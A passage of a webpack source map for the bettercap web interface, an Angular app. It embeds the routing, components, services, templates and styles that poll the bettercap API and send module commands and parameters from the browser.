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","file":"main.js","sourcesContent":["function webpackEmptyAsyncContext(req) {\n\t// Here Promise.resolve().then() is used instead of new Promise() to prevent\n\t// uncaught exception popping up in devtools\n\treturn Promise.resolve().then(function() {\n\t\tvar e = new Error(\"Cannot find module '\" + req + \"'\");\n\t\te.code = 'MODULE_NOT_FOUND';\n\t\tthrow e;\n\t});\n}\nwebpackEmptyAsyncContext.keys = function() { return []; };\nwebpackEmptyAsyncContext.resolve = webpackEmptyAsyncContext;\nmodule.exports = webpackEmptyAsyncContext;\nwebpackEmptyAsyncContext.id = \"./src/$$_lazy_route_resource lazy recursive\";","import { NgModule } from '@angular/core';\nimport { Routes, RouterModule } from '@angular/router';\n\nimport { AuthGuard } from './guards/auth.guard';\n\nimport { LoginComponent } from './components/login/login.component';\n\nimport { EventsTableComponent } from './components/events-table/events-table.component';\nimport { LanTableComponent } from './components/lan-table/lan-table.component';\nimport { WifiTableComponent } from './components/wifi-table/wifi-table.component';\nimport { BleTableComponent } from './components/ble-table/ble-table.component';\nimport { HidTableComponent } from './components/hid-table/hid-table.component';\nimport { PositionComponent } from './components/position/position.component';\nimport { CapletsComponent } from './components/caplets/caplets.component';\nimport { AdvancedComponent } from './components/advanced/advanced.component';\n\nconst routes: Routes = [\n { path: 'login', component: LoginComponent },\n\n { path: 'events', component: EventsTableComponent, canActivate: [AuthGuard]},\n { path: 'lan', component: LanTableComponent, canActivate: [AuthGuard]},\n { path: 'ble', component: BleTableComponent, canActivate: [AuthGuard]},\n { path: 'wifi', component: WifiTableComponent, canActivate: [AuthGuard]},\n { path: 'hid', component: HidTableComponent, canActivate: [AuthGuard]},\n { path: 'gps', component: PositionComponent, canActivate: [AuthGuard]},\n { path: 'caplets', component: CapletsComponent, canActivate: [AuthGuard]},\n { path: 'advanced', component: AdvancedComponent, canActivate: [AuthGuard]},\n { path: 'advanced/:module', component: AdvancedComponent, canActivate: [AuthGuard]},\n\n { path: '**', redirectTo: 'events' }\n];\n\n@NgModule({\n imports: [RouterModule.forRoot(routes, {useHash: true})],\n exports: [RouterModule]\n})\nexport class AppRoutingModule { }\n","module.exports = \"
\\n\\n
\\n\\n
\\n \\n
\\n\\n
\\n\"","module.exports = \"/* Colors */\\n/* Fonts */\\nbody {\\n background-color: rgba(38, 45, 53, 0.95);\\n}\\ndiv#container {\\n padding: 0;\\n margin: 0;\\n}\\ndiv#container.page {\\n height: calc(100% - 150px);\\n}\\n.page-content {\\n padding-top: 10px;\\n padding-left: 5px;\\n padding-right: 5px;\\n}\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2FwcC5jb21wb25lbnQuc2NzcyIsIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zdGRpbiIsInNyYy9hcHAvYXBwLmNvbXBvbmVudC5zY3NzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBLFdBQUE7QUFRQSxVQUFBO0FDTkE7RUFDSSx3Q0RGYTtBRUdqQjtBREVBO0VBQ0ksVUFBQTtFQUNBLFNBQUE7QUNDSjtBRENJO0VBQ0ksMEJBQUE7QUNDUjtBREdBO0VBQ0ksaUJBQUE7RUFDQSxpQkFBQTtFQUNBLGtCQUFBO0FDQUoiLCJmaWxlIjoic3JjL2FwcC9hcHAuY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyIvKiBDb2xvcnMgKi9cbiRtYWluQmFja2dyb3VuZDogcmdiYSgzOCw0NSw1MywwLjk1KTtcbiRhY2lkT3JhbmdlOiAjRkQ1RjAwO1xuJG5ldEJsdWU6IzQxNjlFMTtcbiRib3JkZXJDb2xvckxpZ2h0OiMzMTMxMzE7XG4kYWNpZEdyZWVuOiM5NUQ4NTU7XG4kZGFya1JlZDojYmYwMDAwO1xuXG4vKiBGb250cyAqL1xuJGZvbnRGYW1pbHlQcmltYXJ5OiBcIk51bml0b1wiLCAtYXBwbGUtc3lzdGVtLCBCbGlua01hY1N5c3RlbUZvbnQsIFwiU2Vnb2UgVUlcIiwgUm9ib3RvLCBcIkhlbHZldGljYSBOZXVlXCIsIEFyaWFsLCBzYW5zLXNlcmlmLCBcIkFwcGxlIENvbG9yIEVtb2ppXCIsIFwiU2Vnb2UgVUkgRW1vamlcIiwgXCJTZWdvZSBVSSBTeW1ib2xcIiwgJ05vdG8gQ29sb3IgRW1vamknICFkZWZhdWx0O1xuJGZvbnRXZWlnaHROb3JtYWw6NDAwO1xuJGZvbnRTaXplOi45cmVtO1xuJGxpbmVIZWlnaHQ6MS41cmVtO1xuIiwiQGltcG9ydCAndmFyaWFibGVzJztcblxuYm9keSB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogJG1haW5CYWNrZ3JvdW5kO1xufVxuXG5kaXYjY29udGFpbmVye1xuICAgIHBhZGRpbmc6MDtcbiAgICBtYXJnaW46MDtcblxuICAgICYucGFnZSB7XG4gICAgICAgIGhlaWdodDogY2FsYygxMDAlIC0gMTUwcHgpO1xuICAgIH1cbn1cblxuLnBhZ2UtY29udGVudCB7XG4gICAgcGFkZGluZy10b3A6MTBweDsgXG4gICAgcGFkZGluZy1sZWZ0OjVweDsgXG4gICAgcGFkZGluZy1yaWdodDogNXB4O1xufVxuIiwiLyogQ29sb3JzICovXG4vKiBGb250cyAqL1xuYm9keSB7XG4gIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMzgsIDQ1LCA1MywgMC45NSk7XG59XG5cbmRpdiNjb250YWluZXIge1xuICBwYWRkaW5nOiAwO1xuICBtYXJnaW46IDA7XG59XG5kaXYjY29udGFpbmVyLnBhZ2Uge1xuICBoZWlnaHQ6IGNhbGMoMTAwJSAtIDE1MHB4KTtcbn1cblxuLnBhZ2UtY29udGVudCB7XG4gIHBhZGRpbmctdG9wOiAxMHB4O1xuICBwYWRkaW5nLWxlZnQ6IDVweDtcbiAgcGFkZGluZy1yaWdodDogNXB4O1xufSJdfQ== */\"","import { Title } from '@angular/platform-browser';\nimport { Component, OnInit, OnDestroy } from '@angular/core';\nimport { Router } from \"@angular/router\";\nimport { environment } from '../environments/environment';\nimport { ApiService } from './services/api.service';\nimport { Session } from './models/session';\n\nconst POLLING_INTERVAL = 1000;\n\n@Component({\n selector: 'ui-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.scss']\n})\nexport class AppComponent implements OnInit, OnDestroy {\n session: Session;\n\n eventsSubscription: any;\n sessionSubscription: any;\n\n constructor(public api: ApiService, private router: Router, private titleService: Title) {\n this.api.onLoggedIn.subscribe(() => {\n console.log(\"logged in\");\n this.session = this.api.session;\n this.sessionSubscription = this.api.pollSession().subscribe( (session) => { this.session = session; });\n this.eventsSubscription = this.api.pollEvents().subscribe((events) => {});\n });\n\n this.api.onLoggedOut.subscribe(error => {\n console.log(\"logged out\");\n\n this.session = null;\n\n if( this.sessionSubscription ) {\n this.sessionSubscription.unsubscribe();\n this.sessionSubscription = null;\n }\n\n if( this.eventsSubscription ) {\n this.eventsSubscription.unsubscribe();\n this.eventsSubscription = null;\n }\n\n this.router.navigateByUrl(\"/login\");\n });\n }\n\n ngOnInit() {\n this.titleService.setTitle('bettercap ' + environment.name + ' ' + environment.version);\n }\n\n ngOnDestroy() {\n\n }\n}\n","import { HighlightModule } from 'ngx-highlightjs';\nimport json from 'highlight.js/lib/languages/json';\n\nimport { BrowserModule } from '@angular/platform-browser';\nimport { FormsModule, ReactiveFormsModule } from '@angular/forms';\nimport { NgModule } from '@angular/core';\nimport { AppRoutingModule } from './app-routing.module';\nimport { HttpClientModule } from '@angular/common/http';\n\nimport { NgbModule } from '@ng-bootstrap/ng-bootstrap';\nimport { BrowserAnimationsModule } from '@angular/platform-browser/animations'; \nimport { ToastrModule } from 'ngx-toastr';\n\nimport { AppComponent } from './app.component';\nimport { LoginComponent } from './components/login/login.component';\nimport { MainHeaderComponent } from './components/main-header/main-header.component';\nimport { EventsTableComponent } from './components/events-table/events-table.component';\nimport { EventComponent } from './components/event/event.component';\nimport { LanTableComponent } from './components/lan-table/lan-table.component';\nimport { WifiTableComponent } from './components/wifi-table/wifi-table.component';\nimport { BleTableComponent } from './components/ble-table/ble-table.component';\nimport { HidTableComponent } from './components/hid-table/hid-table.component';\nimport { PositionComponent } from './components/position/position.component';\nimport { CapletsComponent } from './components/caplets/caplets.component';\nimport { AdvancedComponent } from './components/advanced/advanced.component';\n\nimport { SignalIndicatorComponent } from './components/signal-indicator/signal-indicator.component';\nimport { SortableColumnComponent } from './components/sortable-column/sortable-column.component';\nimport { OmnibarComponent } from './components/omnibar/omnibar.component';\n\nimport { SearchPipe } from './components/search.pipe';\nimport { AlivePipe } from './components/alive.pipe';\nimport { UnbashPipe } from './components/unbash.pipe';\nimport { SizePipe } from './components/size.pipe';\nimport { ModIconPipe } from './components/modicon.pipe';\nimport { RecTimePipe } from './components/rectime.pipe';\n\nexport function hljsLanguages() {\n return [\n {name: 'json', func: json}\n ];\n}\n\n@NgModule({\n declarations: [\n AppComponent,\n LoginComponent,\n MainHeaderComponent,\n\n EventsTableComponent,\n EventComponent,\n LanTableComponent,\n BleTableComponent,\n HidTableComponent,\n PositionComponent,\n WifiTableComponent,\n AdvancedComponent,\n CapletsComponent,\n \n OmnibarComponent,\n SignalIndicatorComponent,\n SortableColumnComponent,\n SearchPipe,\n AlivePipe,\n UnbashPipe,\n SizePipe,\n ModIconPipe,\n RecTimePipe\n ],\n imports: [\n BrowserModule,\n FormsModule,\n ReactiveFormsModule,\n HttpClientModule,\n AppRoutingModule,\n NgbModule,\n BrowserAnimationsModule,\n ToastrModule.forRoot({\n preventDuplicates: true,\n maxOpened: 5,\n countDuplicates: true\n }),\n HighlightModule.forRoot({\n languages: hljsLanguages\n })\n ],\n entryComponents:[EventComponent],\n providers: [],\n bootstrap: [AppComponent]\n})\nexport class AppModule { }\n","module.exports = \"
\\n
\\n
\\n\\n
\\n\\n
\\n
\\n
Status
\\n\\n
\\n \\n \\n | UI Version | \\n \\n {{ environment.version }}\\n \\n requires API {{ environment.requires }}\\n \\n | \\n
\\n \\n | Connected To | \\n \\n {{ api.settings.URL() }}\\n \\n polled every {{ api.settings.interval }}ms with a ping of {{ api.ping }}ms\\n \\n (paused)\\n \\n \\n | \\n
\\n \\n | API Version | \\n \\n {{ api.session.version }} \\n \\n compiled with {{ api.session.goversion }} for {{ api.session.os }} {{ api.session.arch }}\\n \\n | \\n
\\n\\n \\n | CPU | \\n Using {{ api.session.resources.max_cpus }} of {{ api.session.resources.cpus }} logical CPUs \\n ({{ api.session.resources.goroutines }} goroutines)\\n | \\n
\\n \\n | MEM | \\n \\n Heap: {{ api.session.resources.alloc | size }} Sys: {{ api.session.resources.sys | size }} \\n \\n gc cycles: {{ api.session.resources.gcs }}\\n \\n | \\n
\\n\\n \\n
\\n
\\n
\\n\\n
\\n\\n
\\n\\n
\\n\\n
\\n\\n
\\n
\\n
Interfaces
\\n\\n
\\n \\n \\n \\n | \\n {{ iface.name }} \\n {{ iface.flags }}\\n | \\n \\n \\n {{ iface.mac | uppercase }} \\n {{ iface.vendor }}\\n \\n | \\n
\\n \\n | \\n not connected\\n | \\n
\\n \\n | \\n {{ a.address }} {{ a.type }}\\n | \\n
\\n \\n \\n
\\n\\n
\\n
\\n\\n
\\n
\\n
Packets per Protocol
\\n\\n
\\n \\n \\n | {{ proto.key }} | \\n \\n \\n {{ proto.value }}\\n \\n | \\n
\\n \\n
\\n
\\n
\\n\\n
\\n \\n\\n\\n
\\n
\\n
\\n
\\n {{ curMod.description }}\\n
\\n
\\n \\n \\n
\\n Running\\n \\n
\\n Not running\\n \\n
\\n
\\n
\\n\\n
\\n
\\n
\\n {{ successMessage }}\\n \\n
\\n
\\n
\\n\\n
\\n
\\n
Commands
\\n\\n
No commands available for this module.
\\n\\n
\\n
\\n
\\n\\n
\\n
\\n
Parameters
\\n\\n
No parameters available for this module.
\\n\\n
\\n
\\n
\\n
\\n\\n
\\n
\\n\\n
\\n
\\n
\\n \\n
\\n
\\n
\\n
\\n
\\n
\\n\"","module.exports = \"*.nav-link {\\n cursor: pointer;\\n}\\n\\n.nav-pills .nav-link {\\n border-radius: none;\\n border: none;\\n color: #fff;\\n font-size: 15px;\\n background-color: #32383e;\\n}\\n\\n.nav-pills .nav-link.active, .nav-pills .show > .nav-link {\\n border-radius: 0;\\n border: none;\\n color: #aaa;\\n background-color: #212529;\\n}\\n\\n.mod-nav {\\n margin-right: 0;\\n padding-right: 0;\\n}\\n\\np.mod-description {\\n font-size: 1rem;\\n}\\n\\ndiv.mod-content {\\n padding-top: 12px;\\n background-color: #212529;\\n color: #fff;\\n}\\n\\ninput.param-input {\\n background-color: #333;\\n border: 1px solid #353535;\\n color: #aaa;\\n}\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvYWR2YW5jZWQvYWR2YW5jZWQuY29tcG9uZW50LnNjc3MiLCJzcmMvYXBwL2NvbXBvbmVudHMvYWR2YW5jZWQvYWR2YW5jZWQuY29tcG9uZW50LnNjc3MiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUE7RUFDSSxlQUFBO0FDQ0o7O0FERUE7RUFDSSxtQkFBQTtFQUNBLFlBQUE7RUFDQSxXQUFBO0VBQ0EsZUFBQTtFQUNBLHlCQUFBO0FDQ0o7O0FERUE7RUFDSSxnQkFBQTtFQUNBLFlBQUE7RUFDQSxXQUFBO0VBQ0EseUJBQUE7QUNDSjs7QURHQTtFQUNJLGVBQUE7RUFDQSxnQkFBQTtBQ0FKOztBREdBO0VBQ0ksZUFBQTtBQ0FKOztBREdBO0VBQ0ksaUJBQUE7RUFDQSx5QkFBQTtFQUNBLFdBQUE7QUNBSjs7QURHQTtFQUNJLHNCQUFBO0VBQ0EseUJBQUE7RUFDQSxXQUFBO0FDQUoiLCJmaWxlIjoic3JjL2FwcC9jb21wb25lbnRzL2FkdmFuY2VkL2FkdmFuY2VkLmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiKi5uYXYtbGluayB7XG4gICAgY3Vyc29yOiBwb2ludGVyO1xufVxuXG4ubmF2LXBpbGxzIC5uYXYtbGluayB7XG4gICAgYm9yZGVyLXJhZGl1czogbm9uZTtcbiAgICBib3JkZXI6IG5vbmU7XG4gICAgY29sb3I6ICNmZmY7XG4gICAgZm9udC1zaXplOiAxNXB4O1xuICAgIGJhY2tncm91bmQtY29sb3I6ICMzMjM4M2U7XG59XG5cbi5uYXYtcGlsbHMgLm5hdi1saW5rLmFjdGl2ZSwgLm5hdi1waWxscyAuc2hvdz4ubmF2LWxpbmsge1xuICAgIGJvcmRlci1yYWRpdXM6IDA7XG4gICAgYm9yZGVyOiBub25lO1xuICAgIGNvbG9yOiAjYWFhO1xuICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG59XG5cblxuLm1vZC1uYXYge1xuICAgIG1hcmdpbi1yaWdodDogMDtcbiAgICBwYWRkaW5nLXJpZ2h0OiAwO1xufVxuXG5wLm1vZC1kZXNjcmlwdGlvbiB7XG4gICAgZm9udC1zaXplOiAxcmVtO1xufVxuXG5kaXYubW9kLWNvbnRlbnQge1xuICAgIHBhZGRpbmctdG9wOiAxMnB4O1xuICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gICAgY29sb3I6ICNmZmY7XG59XG5cbmlucHV0LnBhcmFtLWlucHV0IHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7IFxuICAgIGJvcmRlcjogMXB4IHNvbGlkICMzNTM1MzU7IFxuICAgIGNvbG9yOiAjYWFhO1xufVxuIiwiKi5uYXYtbGluayB7XG4gIGN1cnNvcjogcG9pbnRlcjtcbn1cblxuLm5hdi1waWxscyAubmF2LWxpbmsge1xuICBib3JkZXItcmFkaXVzOiBub25lO1xuICBib3JkZXI6IG5vbmU7XG4gIGNvbG9yOiAjZmZmO1xuICBmb250LXNpemU6IDE1cHg7XG4gIGJhY2tncm91bmQtY29sb3I6ICMzMjM4M2U7XG59XG5cbi5uYXYtcGlsbHMgLm5hdi1saW5rLmFjdGl2ZSwgLm5hdi1waWxscyAuc2hvdyA+IC5uYXYtbGluayB7XG4gIGJvcmRlci1yYWRpdXM6IDA7XG4gIGJvcmRlcjogbm9uZTtcbiAgY29sb3I6ICNhYWE7XG4gIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG59XG5cbi5tb2QtbmF2IHtcbiAgbWFyZ2luLXJpZ2h0OiAwO1xuICBwYWRkaW5nLXJpZ2h0OiAwO1xufVxuXG5wLm1vZC1kZXNjcmlwdGlvbiB7XG4gIGZvbnQtc2l6ZTogMXJlbTtcbn1cblxuZGl2Lm1vZC1jb250ZW50IHtcbiAgcGFkZGluZy10b3A6IDEycHg7XG4gIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gIGNvbG9yOiAjZmZmO1xufVxuXG5pbnB1dC5wYXJhbS1pbnB1dCB7XG4gIGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG4gIGJvcmRlcjogMXB4IHNvbGlkICMzNTM1MzU7XG4gIGNvbG9yOiAjYWFhO1xufSJdfQ== */\"","import {Component, OnInit, OnDestroy, ViewChild} from '@angular/core';\nimport { ActivatedRoute } from \"@angular/router\";\nimport { ApiService } from '../../services/api.service';\nimport { SortService } from '../../services/sort.service';\nimport { Module } from '../../models/module';\nimport { Session } from '../../models/session';\nimport { OmniBarService } from '../../services/omnibar.service';\nimport { environment } from '../../../environments/environment';\n\ndeclare var $: any;\n\n@Component({\n selector: 'ui-advanced',\n templateUrl: './advanced.component.html',\n styleUrls: ['./advanced.component.scss']\n})\nexport class AdvancedComponent implements OnInit, OnDestroy {\n modules: Module[] = [];\n session: Session;\n environment: any = environment;\n\n successMessage: string = '';\n curTab: number = 0;\n curMod: any = 0;\n curCmd: any = {\n name: '',\n description: '',\n parser: '',\n tokens: []\n };\n\n pktTot: number = 0;\n\n constructor(private api: ApiService, private sortService: SortService, private route: ActivatedRoute, public omnibar: OmniBarService) { \n this.update(this.api.session);\n }\n\n ngOnInit() {\n this.route.paramMap.subscribe(params => {\n this.curMod = this.api.module(params.get(\"module\")) || this.curMod;\n });\n\n let modname = this.route.snapshot.paramMap.get(\"module\");\n if( modname ) {\n this.curMod = this.api.module(modname) || this.curMod;\n }\n\n this.api.onNewData.subscribe(session => {\n this.update(session);\n });\n }\n\n ngOnDestroy() {\n\n }\n\n saveParam(param : any) {\n this.successMessage = '';\n\n let val = param.current_value;\n\n if( param.validator != \"\" ) {\n let validator = new RegExp(param.validator);\n if( validator.test(val) == false ) {\n this.api.onCommandError.emit({\n error: \"Value \" + val + \n \" is not valid for parameter '\" + param.name + \n \"' (validator: '\" + param.validator + \"')\"\n });\n return;\n }\n }\n\n if( val == \"\" ) {\n val = '\"\"';\n }\n\n this.api.cmd(\"set \" + param.name + \" \" + val);\n this.successMessage = \"Parameter \" + param.name + \" successfully updated.\";\n }\n\n showCommandModal(cmd) {\n /* \n * Command handlers can be in the form of:\n *\n * cmd.name on\n *\n * in which case we can just go ahead and run it, or:\n *\n * cmd.name PARAM OPTIONAL?\n *\n * in which case we need input from the user.\n */\n this.curCmd = cmd;\n this.curCmd.tokens = cmd.name\n .replace(', ', ',') // make lists a single item\n .split(' ') // split by space\n .filter(token => (token == token.toUpperCase())) // only select the uppercase tokens\n .map(token => ({\n // replace stuff that can be bad for html attributes\n label: token.replace(/[^A-Z0-9_,]+/g, \" \").trim(),\n id: token.replace(/[\\W_]+/g, \"\"),\n }));\n \n if( this.curCmd.tokens.length == 0 ) {\n this.api.cmd(this.curCmd.name);\n } else {\n $('#commandModal').modal('show');\n }\n }\n\n doRunCommand() {\n let compiled = this.curCmd.name.split(' ')[0];\n let tokens = this.curCmd.tokens;\n\n for( let i = 0; i < tokens.length; i++ ) {\n let val = $('#tok'+tokens[i].id).val();\n compiled += ' ' + (val == \"\" ? '\"\"' : val);\n }\n\n $('#commandModal').modal('hide');\n this.api.cmd(compiled);\n }\n\n private update(session) {\n if( this.curMod !== 0 && this.curMod !== 1 ) {\n this.curMod.running = this.api.module(this.curMod.name).running;\n }\n\n this.sortService.sort(session.modules, {\n field: 'name',\n direction: 'desc',\n type: ''\n }); \n \n this.pktTot = 0;\n for( let proto in session.packets.Protos ) {\n this.pktTot += session.packets.Protos[proto];\n }\n\n this.session = session;\n this.modules = session.modules; \n }\n}\n\n","import { Pipe, PipeTransform } from '@angular/core';\n\n@Pipe({name: 'alive'})\nexport class AlivePipe implements PipeTransform {\n transform(item: any, ms: number): boolean {\n let now = new Date().getTime(),\n seen = new Date(item.last_seen).getTime();\n return (now - seen) <= ms;\n } \n}\n","module.exports = \"
\\n
\\n \\n \\n | RSSI | \\n MAC | \\n Name | \\n Vendor | \\n Flags | \\n Connectable | \\n Services | \\n Seen | \\n
\\n \\n \\n\\n \\n | \\n empty\\n | \\n
